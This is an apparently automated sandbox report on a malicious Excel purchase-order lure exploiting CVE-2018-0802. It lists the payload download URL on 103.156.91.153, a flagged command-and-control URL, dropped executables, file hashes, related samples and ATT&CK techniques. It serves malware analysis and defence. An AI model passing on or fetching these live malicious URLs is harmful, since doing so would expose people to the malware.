Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Scripting	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	3 Obfuscated Files or Information	DCSync	116 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Software Packing	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
BON DE COMMANDE POUR CHENOUFI AEK.xlsx	38%	Virustotal		Browse
BON DE COMMANDE POUR CHENOUFI AEK.xlsx	27%	ReversingLabs	Document-OLE.Exploit.CVE-2018-0802

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\Public\vbc.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe	100%	Joe Sandbox ML

Unpacked PE Files

Source	Detection	Scanner	Label	Download
6.0.bmexo.exe.400000.7.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
6.2.bmexo.exe.400000.1.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
5.2.bmexo.exe.170000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
6.0.bmexo.exe.400000.5.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
6.0.bmexo.exe.400000.9.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://wellformedweb.org/CommentAPI/	0%	URL Reputation	safe
http://www.iis.fhg.de/audioPA	0%	URL Reputation	safe
http://103.156.91.153/fdcloudfiles/vbc.exej	0%	Avira URL Cloud	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://treyresearch.net	0%	URL Reputation	safe
http://103.156.91.153/fdcloudfiles/vbc.exes	0%	Avira URL Cloud	safe
http://103.156.91.153/fdcloudfiles/vbc.exe	11%	Virustotal		Browse
http://103.156.91.153/fdcloudfiles/vbc.exe	100%	Avira URL Cloud	malware
http://java.sun.com	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
www.freerenoadvice.com/ud5f/	100%	Avira URL Cloud	malware
http://computername/printers/printername/.printer	0%	Avira URL Cloud	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://103.156.91.153/fdcloudfiles/vbc.exehhC:	0%	Avira URL Cloud	safe
http://servername/isapibackend.dll	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://103.156.91.153/fdcloudfiles/vbc.exe	true	11%, Virustotal, Browse Avira URL Cloud: malware	unknown
www.freerenoadvice.com/ud5f/	true	Avira URL Cloud: malware	low

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.windows.com/pctv.	explorer.exe, 00000007.00000000.1012455681.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	false		high
http://investor.msn.com	explorer.exe, 00000007.00000000.1012455681.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	explorer.exe, 00000007.00000000.1012455681.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	false		high
http://wellformedweb.org/CommentAPI/	explorer.exe, 00000007.00000000.1015141560.00000000046D0000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.iis.fhg.de/audioPA	explorer.exe, 00000007.00000000.1015141560.00000000046D0000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.piriform.com/ccleanerq	explorer.exe, 00000007.00000000.999156746.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1036163361.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1011925093.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.987988330.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.piriform.com/ccleaner1SPS0	explorer.exe, 00000007.00000000.994238368.0000000008611000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1019525973.0000000008611000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1006887265.0000000008611000.00000004.00000001.00020000.00000000.sdmp	false		high
http://103.156.91.153/fdcloudfiles/vbc.exej	EQNEDT32.EXE, 00000002.00000002.965939065.00000000035D0000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	vbc.exe, 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmp, vbc.exe, 00000004.00000000.964387400.000000000040A000.00000008.00000001.01000000.00000004.sdmp, vbc.exe.2.dr, vbc[1].exe.2.dr	false		high
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	explorer.exe, 00000007.00000000.1038912442.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.hotmail.com/oe	explorer.exe, 00000007.00000000.1012455681.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	false		high
http://treyresearch.net	explorer.exe, 00000007.00000000.1015141560.00000000046D0000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://103.156.91.153/fdcloudfiles/vbc.exes	EQNEDT32.EXE, 00000002.00000002.965721686.000000000062E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	explorer.exe, 00000007.00000000.1038912442.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp	false		high
http://java.sun.com	explorer.exe, 00000007.00000000.983528544.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1034341934.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.996739649.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1009149384.0000000000335000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.icra.org/vocabulary/.	explorer.exe, 00000007.00000000.1038912442.0000000003CF7000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	explorer.exe, 00000007.00000000.1034899702.0000000001DD0000.00000002.00000001.00040000.00000000.sdmp	false		high
http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv	explorer.exe, 00000007.00000000.1007066480.000000000869E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.993998682.0000000008575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1019426082.0000000008575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.994421316.000000000869E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1019795394.0000000008807000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1006658399.0000000008575000.00000004.00000001.00020000.00000000.sdmp	false		high
http://investor.msn.com/	explorer.exe, 00000007.00000000.1012455681.0000000003B10000.00000002.00000001.00040000.00000000.sdmp	false		high
http://www.piriform.com/ccleaner	explorer.exe, 00000007.00000000.993794779.00000000084C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1019795394.0000000008807000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1006658399.0000000008575000.00000004.00000001.00020000.00000000.sdmp	false		high
http://computername/printers/printername/.printer	explorer.exe, 00000007.00000000.1015141560.00000000046D0000.00000002.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.%s.comPA	explorer.exe, 00000007.00000000.1034899702.0000000001DD0000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	low
http://www.autoitscript.com/autoit3	explorer.exe, 00000007.00000000.983528544.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1034341934.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.996739649.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1009149384.0000000000335000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org	explorer.exe, 00000007.00000000.983528544.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1034341934.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.996739649.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1009149384.0000000000335000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.piriform.com/ccleanerv	explorer.exe, 00000007.00000000.1001945671.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.989754024.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1014187603.0000000004385000.00000004.00000001.00020000.00000000.sdmp	false		high
http://103.156.91.153/fdcloudfiles/vbc.exehhC:	EQNEDT32.EXE, 00000002.00000002.965721686.000000000062E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://servername/isapibackend.dll	explorer.exe, 00000007.00000000.1003526577.0000000006450000.00000002.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	low

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
103.156.91.153	unknown	unknown		134687	TWIDC-AS-APTWIDCLimitedHK	true

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	626175
Start date and time: 13/05/202217:06:21	2022-05-13 17:06:21 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	BON DE COMMANDE POUR CHENOUFI AEK.xlsx
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLSX@11/16@0/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 35.9% (good quality ratio 34.6%) Quality average: 75% Quality standard deviation: 28.2%
HCA Information:	Successful, ratio: 100% Number of executed functions: 110 Number of non-executed functions: 73
Cookbook Comments:	Found application associated with file extension: .xlsx Adjust boot time Enable AMSI Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, audiodg.exe, WerFault.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 104.208.16.94, 52.182.143.212
Excluded domains from analysis (whitelisted): onedsblobprdcus15.centralus.cloudapp.azure.com, watson.microsoft.com, legacywatson.trafficmanager.net, onedsblobprdcus16.centralus.cloudapp.azure.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
17:07:42	API Interceptor	89x Sleep call for process: EQNEDT32.EXE modified
17:07:55	API Interceptor	61x Sleep call for process: bmexo.exe modified
17:08:28	API Interceptor	220x Sleep call for process: chkdsk.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
103.156.91.153	MRC DIRECT ORDER LEBANON.xlsx	Get hash	malicious	Browse	103.156.91.153/cloudfile/vbc.exe
	Energe 1,010.00.xlsx	Get hash	malicious	Browse	103.156.91.153/__cloud_for_file/vbc.exe
	5P22020005-MEDUK1317768_CBL02.xlsx	Get hash	malicious	Browse	103.156.91.153/365space/vbc.exe
	BON DE COMMANDE--BCA2200710.xlsx	Get hash	malicious	Browse	103.156.91.153/msdrive10/vbc.exe

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TWIDC-AS-APTWIDCLimitedHK	MRC DIRECT ORDER LEBANON.xlsx	Get hash	malicious	Browse	103.156.91.153
	Energe 1,010.00.xlsx	Get hash	malicious	Browse	103.156.91.153
	5P22020005-MEDUK1317768_CBL02.xlsx	Get hash	malicious	Browse	103.156.91.153
	9knJQfYMP8	Get hash	malicious	Browse	103.154.221.88
	BON DE COMMANDE--BCA2200710.xlsx	Get hash	malicious	Browse	103.156.91.153
	fjqwmhHmzv	Get hash	malicious	Browse	103.153.254.67
	https://cwerujnfocvhi3w4-hgfv9io3wrehnv-gp093rhgv3r4v.obs.af-south-1.myhuaweicloud.com/vnoiruhgv0-p39ehrgvb-0p9he3r-0bvpg9he4t-09bg.html?AWSAccessKeyId=BIYYVE07OMDKEILTTF0R&Expires=1653564383&Signature=4e6EXLQcv1xcMfrEkMEdfz05gIw%3D#	Get hash	malicious	Browse	103.153.183.146
	https://cwerujnfocvhi3w4-hgfv9io3wrehnv-gp093rhgv3r4v.obs.af-south-1.myhuaweicloud.com/vnoiruhgv0-p39ehrgvb-0p9he3r-0bvpg9he4t-09bg.html?AWSAccessKeyId=BIYYVE07OMDKEILTTF0R&Expires=1653564383&Signature=4e6EXLQcv1xcMfrEkMEdfz05gIw%3D#louis@weighpack.com	Get hash	malicious	Browse	103.153.183.146
	NEW QUOTATION.doc	Get hash	malicious	Browse	103.153.76.136
	VJAGa1CbxA	Get hash	malicious	Browse	103.157.99.19
	sora.arm7	Get hash	malicious	Browse	103.157.51.70
	JWvorA813E	Get hash	malicious	Browse	103.153.150.146
	NANSHA -CHINA 2.doc	Get hash	malicious	Browse	103.153.76.136
	order_april_30042022_000000000000000000.xlsx	Get hash	malicious	Browse	103.156.91.63
	cxgIVwyGAO	Get hash	malicious	Browse	103.153.150.167
	sora.arm7	Get hash	malicious	Browse	103.157.99.61
	1isequal9.x86	Get hash	malicious	Browse	154.211.10.101
	Ghatge Patil Industries Ltd.xlsx	Get hash	malicious	Browse	103.156.90.79
	#Uc820#Ud22c#Uc6e8#Uc774#Ube0c #Ubc1c#Uc8fc#Uc11c_2022#Uc77c#Uc2e0#Ud14c#Ud06c.xlsx	Get hash	malicious	Browse	103.156.91.63
	PO_SBL#0026.xlsx	Get hash	malicious	Browse	103.156.90.79

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	downloaded
Size (bytes):	263783
Entropy (8bit):	7.9127214183326275
Encrypted:	false
SSDEEP:	3072:LODZGPEounb6dFqeTHg1WG3Tpf8o7j8kRSLCXD35Zq66TvNJsd19vQ1/A3wCEGj7:LOtIO6RsBTpfD7lRVq6uJM194uLiC87i
MD5:	5AF1C7DD89A535DEE51C3E28B4A74F8D
SHA1:	A4BEACE30EF4B975E247AFBAF837E757A5372F7E
SHA-256:	039EF59E7502A98D0B9A6A7E7818444F6DBD699A4CDB10A8DBA031222CFDDE6F
SHA-512:	28C4CAC036B93D8943D42613DC8C703A66D291393760524C22E0FCD76E7B67CE73E40704C29321E42765364638F0EE3C11AF52922700570BA47AB661B846A7F7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
IE Cache URL:	http://103.156.91.153/fdcloudfiles/vbc.exe
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!`G.@...@...@../OQ..@...@..I@../OS..@...c>..@..+F...@..Rich.@..........................PE..L.....Oa.................h....:.....F6............@...........................;...........@...........................................;.P............................................................................................................text....g.......h.................. ..`.rdata...............l..............@..@.data.....9.........................@....ndata........:..........................rsrc...P.....;.....................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\71EFD22C.wmf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ms-windows metafont .wmf
Category:	dropped
Size (bytes):	1970
Entropy (8bit):	5.125773446782967
Encrypted:	false
SSDEEP:	48:KxK48S3oEL48I+KL48uL48kL48tnL48I0L48Ih2L48Ls4fnPK6L48tOL48bCb3RM:KxKS3okSuEtN1O2FfUcM
MD5:	30935B0D56A69E2E57355F8033ADF98B
SHA1:	5F7C13E36023A1B3B3DAF030291C02631347C2AB
SHA-256:	077232D301E2DF2E2702BD9E7323806AC20134F989C8A4102403ECBF5E91485E
SHA-512:	5D633D1EC5559443D3DA5FAD2C0CFC5DBF6A006EF6FBEE8C47595A916A899FBDF713897289E99EE62C07B52CCB61578253791AC57712DF040469F21287A742E9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.....F.>...u........R........................u.F.............................-...................".....-...........................".....-....................-...........F...$.!.....!......2...9...?...C...F...G...F...C...?...9...2......!.........................................................................................-...............-.......-....................-...............$...[...6._...x.[.......-...............-.......-....................-...............$...o.D...x.#.w...G.o.D.....-...............-.......-....................-...............$.........!.V.{...y.............-...............-.......-....................-...............$.....M.w...n.@.[.....M.....-...............-.......-....................-...............$.......f...Q...........-...............-.......-....................-...............$...'.U.....K...'.U.....-...............-.......-....................-...............$.c...u...\...D...,.........j...S...=...%.........x...c...N...:...&.v...p...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\AD6B8317.wmf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ms-windows metafont .wmf
Category:	dropped
Size (bytes):	4630
Entropy (8bit):	5.070400845866794
Encrypted:	false
SSDEEP:	96:RmljFSTwLmSaj2W67xYK2dlEtF622okgmCCHtkTl9ggBgThsMihEylB8By98Rj:UlRSkCSajh6tL2dlEtFV2VgmVNkTl9gJ
MD5:	1A4FF280B6D51A6ED16C3720AF1CD6EE
SHA1:	277878BEF42DAC8BB79E15D3229D7EEC37CE22D9
SHA-256:	E5D86DD19EE52EBE2DA67837BA4C64454E26B7593FAC8003976D74FF848956E7
SHA-512:	3D41BAF77B0BEEF85C112FCBD3BE30E940AF1E586C4F9925DBDD67544C5834ED794D0042A6F6FF272B21D1106D798CBB05FA2848A788A3DAFE9CFBC8574FCECA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	...................[R..................................D.^...................-...................".....-...........................".....-.....................-...............$...........o.............................-...............-.......-.....................-...............$.......W.....i...T.........-...............-.......-.....................-...........>...$.....~.........................z...m.....H.v.....?.........................\|...r...f...Z...L...>...0... .............~.....-...............-.......-.....................-...........6...$.....................................-...?...U...n...........!...!.........................................-...............-.......-.....................-...........8...$.......................s...e.g.\.L.Y./.[..._...g...p...~.............'.../...L.v.g.i...V...@...'...............-...............-.......-.....................-........... ...$.......................r...{...................................-...............-.......-...........

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\BCA69961.wmf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ms-windows metafont .wmf
Category:	dropped
Size (bytes):	4630
Entropy (8bit):	5.070400845866794
Encrypted:	false
SSDEEP:	96:RmljFSTwLmSaj2W67xYK2dlEtF622okgmCCHtkTl9ggBgThsMihEylB8By98Rj:UlRSkCSajh6tL2dlEtFV2VgmVNkTl9gJ
MD5:	1A4FF280B6D51A6ED16C3720AF1CD6EE
SHA1:	277878BEF42DAC8BB79E15D3229D7EEC37CE22D9
SHA-256:	E5D86DD19EE52EBE2DA67837BA4C64454E26B7593FAC8003976D74FF848956E7
SHA-512:	3D41BAF77B0BEEF85C112FCBD3BE30E940AF1E586C4F9925DBDD67544C5834ED794D0042A6F6FF272B21D1106D798CBB05FA2848A788A3DAFE9CFBC8574FCECA
Malicious:	false
Preview:	...................[R..................................D.^...................-...................".....-...........................".....-.....................-...............$...........o.............................-...............-.......-.....................-...............$.......W.....i...T.........-...............-.......-.....................-...........>...$.....~.........................z...m.....H.v.....?.........................\|...r...f...Z...L...>...0... .............~.....-...............-.......-.....................-...........6...$.....................................-...?...U...n...........!...!.........................................-...............-.......-.....................-...........8...$.......................s...e.g.\.L.Y./.[..._...g...p...~.............'.../...L.v.g.i...V...@...'...............-...............-.......-.....................-........... ...$.......................r...{...................................-...............-.......-...........

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E4ED06E0.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	223752
Entropy (8bit):	3.2805343869701504
Encrypted:	false
SSDEEP:	1536:gAGsM8yOYZWQ99d99H9999999lN6Hz8iiiiiiiiiiiiiiiPnHnbq+QVwtaKfdL4a:gMMVNSztnZft6rMMVNSztnZft6u
MD5:	8E3A74F7AA420B02D34C69E625969C0A
SHA1:	4743F57F0F702C5B47FA1668D9173E08ADA16448
SHA-256:	0CD83C55739629F98FE6AFD3E25A5BCBB346CBEF58BC592C1260E9F0FA8575A9
SHA-512:	ADE6B91E260AFA08CC286471D0AD7BCA82FF5E1FE506D48B37A13E3CDD2717171CDAC38C77CFF18FD4C26CA9470B002B63B7FDDC0466FC6F7010A772BF557054
Malicious:	false
Preview:	....l................................... EMF.....j..........................8...X....................?......F...........GDIC...............p.........8.........................F...........................A. ...........F.......(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F00B6FEE.wmf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ms-windows metafont .wmf
Category:	dropped
Size (bytes):	1970
Entropy (8bit):	5.125773446782967
Encrypted:	false
SSDEEP:	48:KxK48S3oEL48I+KL48uL48kL48tnL48I0L48Ih2L48Ls4fnPK6L48tOL48bCb3RM:KxKS3okSuEtN1O2FfUcM
MD5:	30935B0D56A69E2E57355F8033ADF98B
SHA1:	5F7C13E36023A1B3B3DAF030291C02631347C2AB
SHA-256:	077232D301E2DF2E2702BD9E7323806AC20134F989C8A4102403ECBF5E91485E
SHA-512:	5D633D1EC5559443D3DA5FAD2C0CFC5DBF6A006EF6FBEE8C47595A916A899FBDF713897289E99EE62C07B52CCB61578253791AC57712DF040469F21287A742E9
Malicious:	false
Preview:	.....F.>...u........R........................u.F.............................-...................".....-...........................".....-....................-...........F...$.!.....!......2...9...?...C...F...G...F...C...?...9...2......!.........................................................................................-...............-.......-....................-...............$...[...6._...x.[.......-...............-.......-....................-...............$...o.D...x.#.w...G.o.D.....-...............-.......-....................-...............$.........!.V.{...y.............-...............-.......-....................-...............$.....M.w...n.@.[.....M.....-...............-.......-....................-...............$.......f...Q...........-...............-.......-....................-...............$...'.U.....K...'.U.....-...............-.......-....................-...............$.c...u...\...D...,.........j...S...=...%.........x...c...N...:...&.v...p...

C:\Users\user\AppData\Local\Temp\bmexo.exe

Download File

Process:	C:\Users\Public\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80384
Entropy (8bit):	6.294104149845472
Encrypted:	false
SSDEEP:	1536:k6TaC+v1wwfr0oxAomP3cX/4pi2sWjcd8dI:la5CwD1/ui58W
MD5:	FD42CBBC6D53AD34694C46731AABD852
SHA1:	BE1B3AF37A4E54040EDFBA4A728D5316181ACE7D
SHA-256:	2092286C74AA5DF753BE3FBDC6D3194104E89FC1C4A8E1BECEF8AE825FE4D052
SHA-512:	AEE5FA5F2D81965112518A3FFFB28ADD9F7A52545A686042D1EF8CA81F970ACF7B88BC7AF1FA3E789F07918A5A7DBF152A3A71E97D23CD2FD6EC21BBD609E799
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........w...w...w...%`..w...%^..w...%a.w......w...w..w..p....w..p.~..w..p....w..Rich.w..................PE..L...8.~b............................7.............@.......................................@..................................$.......p..................................T...............................@............................................text...U........................... ..`.rdata...N.......P..................@..@.data... 1...0......................@....rsrc........p.......*..............@..@.reloc...............,..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fmrfya

Download File

Process:	C:\Users\Public\vbc.exe
File Type:	data
Category:	dropped
Size (bytes):	4810
Entropy (8bit):	6.182005918340119
Encrypted:	false
SSDEEP:	96:rvS/az70J2n6QKA9e3vYlKb23QPMW5Ba/3jy:Ttv0J1QKA4pb23bW5Ba/3W
MD5:	086741FA34CD34B27FB9B5EBA9783209
SHA1:	456B182F04DE595E5971C702BDEA0F2E6F5E81E1
SHA-256:	2EA0C458D3E8B5A1C217A3A5EB4B5115653C92AEFC8D920E111862413ACBCAF0
SHA-512:	66E6B4BF7FA709384847A848EFE0CA2DF8F3A2B953F27AD320F00D7A0912EB6A07BFC58D157CE765271AACC872E03043AC7564C4916BE61ECBA6B44FE8FBD8A4
Malicious:	false
Preview:	j..QQ6.}.}.034..aQ.4.....4....i..YQD.m.QQQ..UQl.l...Y.ihQQQ...6Ml.l...Y.icQQQ..A.6.l.l...Y.iBQQQ..I.6]l.l...Y.i-QQQ....6E.....9.....z...6e...i..J..i..}..i..m.......:Tb..i.6m..?..m43..U.ea..iQQQQ....X..ml.:l.A.l.I.9l...:l..l.i..S.....T....U..{R.al.........a..miQQQQD...QQQ....X..U....a...J?.Q6.}..4....Y...Q.......Q..........6Y..m...Q....R..Y.6mJ?.Q..gC.i..QQi..QQ?.Q..lL.i1.QQi3.QQ?.Q....i..QQi..QQ?.Q6.}.}..4....iD.Y.QQQ....m..YQ....mCQQ..m...m..Y...Yxei.QQ......z..:.JQ....5.M..iz..:..Q....5.M....9..Q......lL.iXRQQ.i.nll..Ux...i.l.i.lll..U..UQ...aQx.D.aRQQQ..aJ?.Q6.}.}..4....iD.Y.QQQ.....m..YQ....mCQQ..m...m..Y...Yxeiz.QQ.....QQQ..z..:.JQ....5.E..z..:..Q....5.E..z..:B.....5.E....J.............E..iz..:.......5.E....9..Q......gC.i_QQQ.ijmll..U...Q...i....Rx.l..l..l.l.l.i.kll..U..UQ...aQx.D.aRQQQ..aJ?.Q6.}.}.D.Y.QQQ..e..m..YQ....mCQQ..m...m..Y...Yxei..QQ......z..:.JQ..e.5.i..z..:..Q..e.5.i....9..Q..e.....i.QQQ.i.mll..Ux.l.l.i.nl

C:\Users\user\AppData\Local\Temp\nsmD99.tmp

Download File

Process:	C:\Users\Public\vbc.exe
File Type:	data
Category:	dropped
Size (bytes):	274451
Entropy (8bit):	7.534851581609414
Encrypted:	false
SSDEEP:	3072:ldMe5ejQJleaiQ9c4aFvhp5Vg7AAuydCXpXqvFJCkOVyj4Fyjda5CwD1/ui58W:ceJFShpjupdCZqvLVO+WCkx
MD5:	384A5748B417139E08ACEEDD769BCF46
SHA1:	EBC2F56F76E58CE024678D56C3D06ECE94832C6C
SHA-256:	8B49AAEA3CE6F914D1E2C7B48902B9E3D44BAC9013A8FE6826000FB6E48654AC
SHA-512:	43798CFE7F8C28DA3DA98D7E51B3A4D60DCB5EE4F90086A1684B182478D6F7F9A0D0DA554ED1094B5EFB429A434FCFC58BAD115AEC53FDD67FEEE37E8B8177AA
Malicious:	false
Preview:	:5......,...................m....%......p4......:5..........................................................................................................................................................................................................................................G...............9...j...............................................................................................................................K...........#...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pm30pgwp2di9

Download File

Process:	C:\Users\Public\vbc.exe
File Type:	data
Category:	dropped
Size (bytes):	175615
Entropy (8bit):	7.99037693756646
Encrypted:	true
SSDEEP:	3072:tdMe5ejQJleaiQ9c4aFvhp5Vg7AAuydCXpXqvFJCkOVyj4FyX:EeJFShpjupdCZqvLVO+X
MD5:	E5D98C0DED859D8A94EFF3DE479F7EC5
SHA1:	86ACE17C40569BA09C5AA4792969F9709E398A56
SHA-256:	9A974A3EF1A34282E6502D2BF42E6A8011BD42D126875CE15DEC0F9A8B030E43
SHA-512:	4770FDFA2899C6FD56FA8A39E7ABF45B9A9B42EF1F8193F8E7F310E1B219A098EF938A34B5C73D6403C942BC70CEC87DF1049E4DA715E6740041956050887E88
Malicious:	false
